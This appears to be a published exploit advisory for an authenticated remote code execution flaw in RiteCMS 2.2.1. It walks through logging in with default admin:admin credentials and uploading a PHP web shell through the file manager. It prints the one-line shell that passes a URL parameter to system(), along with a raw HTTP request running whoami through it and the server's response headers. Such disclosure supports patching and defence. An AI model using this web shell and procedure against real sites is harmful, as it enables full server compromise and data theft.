RiteCMS 2.2.1 Remote Code Execution

RiteCMS version 2.2.1 suffers from an authenticated remote code execution vulnerability.

MD5 | 4124481b24b6169f3e6365184d8f21b2

# Exploit Title: RiteCMS 2.2.1 - Authenticated Remote Code Execution
# Date: 2020-07-03
# Exploit Author: Enes Özeser
# Vendor Homepage: http://ritecms.com/
# Version: 2.2.1
# Tested on: Linux

1- Go to following url. >> http://(HOST)/cms/
2- Default username and password is admin:admin. We must know login credentials.
3- Go "Filemanager" and press "Upload file" button.
4- Choose your php webshell script and upload it.

((Example PHP Web Shell Code))
<?php echo "<pre>"; system($_GET['cmd']); ?>

5- You can find uploaded file there. >> http://(HOST)/media/(FILE-NAME).php
6- We can execute a command now. >> http://(HOST)/media/(FILE-NAME).php?cmd=whoami


GET /ritecms/media/webshell.php?cmd=whoami HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://(HOST)/cms/index.php?mode=filemanager&directory=media
Connection: close
Cookie: icms[device_type]=desktop; icms[guest_date_log]=1593777486; PHPSESSID=mhuunvasd12cveo52fll3u
Upgrade-Insecure-Requests: 1


HTTP/1.1 200 OK
Date: Fri, 03 Jul 2020 21:10:13 GMT
Server: Apache/2.4.43 (Debian)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

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